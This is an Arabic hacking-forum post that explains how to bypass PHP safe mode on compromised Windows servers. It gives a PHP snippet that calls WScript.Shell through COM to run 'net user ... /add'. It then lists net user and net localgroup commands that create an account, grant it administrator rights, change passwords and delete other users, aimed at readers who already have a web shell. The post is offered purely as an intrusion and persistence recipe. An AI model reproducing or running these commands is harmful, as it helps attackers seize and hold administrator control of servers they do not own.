تخطي السيف مود بسيرفرات الويندوز

[KaLa$nikoV]

[align=center]منقول للاهميه


بكثير من سيرفرات الويندوز نيجي نضع امر اضافه يوزر ما يرضى

بكون السبب انه السيف مود اون

طيب والعمل

العمل انه نحل مشكلتنا بطريقه جربتها انا ع سيرفر واحد

لكن اخوي يلي انا نقلت الموضوع عنه بقول انه جربها ع اكثر من سيرفر

خلينا نشوف




--------------------------------



الاستغلال :

كود PHP:

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("net user vbspiders 000000 /add");
?>

طبعا هو كذا صار عنا يوزر امسه vbspiders بصلاحيات يوزر

تم التجربة على جميع اصدارات 4 وايضا 5

غير الأمر الي تريد تطبيقه لأي امر تريد ...

الاستغلال مقتبس من خوينا shinnai له كل الاحترام والتقدير

http://www.milw0rm.com/exploits/4553

منقول من اخونا RoMaNcYxHaCkEr



-----------------


للفائده اضيف لكم امر اضافه يوزر


net user vbspiders 1231123 /add

كذا اضفنا يوزر اسمه vbspiders باسورده 123123

طيب الان بدنا نخليه مدير

net localgroup administrators vbspiders /add


هيك جعنا اليوزر مدير ع السيرفر

وبعدها بتروح تروت من حساب الرموت دسك توب او بتحتفظ بالحساب الك


طيب امر تغير باسورد العضو vbspiders


net user vbspiders * انتبه النجمه هاي بالاخر مش بالاول

امر مشاهده يوزرات السيرفر

net user معرفه اليوزراات

بعد الدخول بصلاحيات الروت فيك تمسح اليوزرات عن طريق
NET USER {o/c4n0 /delet

كذا يا :grr: حذفتني هههههه:icon555:


------------

هذا الدرس لمن لديه شل ع سيرفر ويندوز

مفش داعي للردود :37:

موفقين


KaLa$nikoV t34m[/align]